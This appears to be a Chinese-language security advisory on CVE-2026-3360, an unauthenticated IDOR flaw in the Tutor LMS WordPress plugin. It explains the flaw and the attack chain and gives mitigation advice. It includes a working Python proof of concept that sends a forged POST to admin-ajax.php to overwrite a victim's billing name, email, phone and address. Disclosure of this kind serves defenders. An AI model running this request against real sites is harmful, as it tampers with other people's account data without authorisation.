IPBUF安全漏洞报告
English
CVE-2026-3360 CVSS 7.5 高危

CVE-2026-3360 Tutor LMS不安全的直接对象引用漏洞

披露日期: 2026-04-10

漏洞信息

漏洞编号
CVE-2026-3360
漏洞类型
不安全的直接对象引用 (IDOR)
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Tutor LMS (WordPress Plugin)

相关标签

IDORWordPressTutor LMS权限绕过信息篡改

漏洞概述

WordPress的Tutor LMS插件在3.9.7及之前版本中存在不安全的直接对象引用(IDOR)漏洞。由于`pay_incomplete_order()`函数缺失身份验证与授权检查,未认证攻击者可利用公开的nonce,通过构造包含恶意订单ID的POST请求,篡改任意拥有未完成订单用户的账单资料(姓名、邮箱、电话等)。

技术细节

该漏洞源于`CheckoutController.php`中的`pay_incomplete_order()`函数直接处理用户传入的`order_id`参数,并依据该ID查询订单数据。系统随后将请求中的计费字段直接写入订单关联用户(`$order_data->user_id`)的资料中,且未验证请求者的身份或订单所有权。此外,由于Tutor nonce(`_tutor_nonce`)暴露在公共前端页面,攻击者无需登录即可绕过CSRF保护。攻击者只需枚举或猜测有效的未完成订单ID,并发送特制的POST请求,即可覆盖目标用户的个人配置信息。

攻击链分析

STEP 1
信息收集
攻击者访问目标WordPress站点前端页面,获取公开暴露的_tutor_nonce。
STEP 2
ID枚举
攻击者猜测或枚举系统中存在的未完成订单ID(order_id)。
STEP 3
发送攻击请求
攻击者向服务器发送包含恶意计费信息和order_id的POST请求。
STEP 4
数据篡改
服务器由于未校验权限,将恶意数据写入订单所属用户的个人资料。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests target_url = "http://target-wordpress-site.com/wp-admin/admin-ajax.php" target_order_id = "123" # The vulnerable order ID to target nonce = "public_nonce_value" # Nonce found in the page source # Malicious data to overwrite the victim's profile payload = { "action": "tutor_pay_incomplete_order", "order_id": target_order_id, "_tutor_nonce": nonce, "billing_first_name": "Attacker", "billing_email": "[email protected]", "billing_phone": "0000000000", "billing_address_1": "Hacker Street", "billing_city": "Hacker Town", "billing_country": "US" } response = requests.post(target_url, data=payload) if response.status_code == 200: print("[+] PoC request sent successfully. Check if user profile was updated.") else: print("[-] Request failed.")

影响范围

Tutor LMS <= 3.9.7

防御指南

临时缓解措施
建议立即将插件升级至修复了该漏洞的版本。如果暂时无法升级,应通过Web应用防火墙(WAF)拦截对相关接口的异常请求,或暂时禁用受影响的插件功能以降低风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表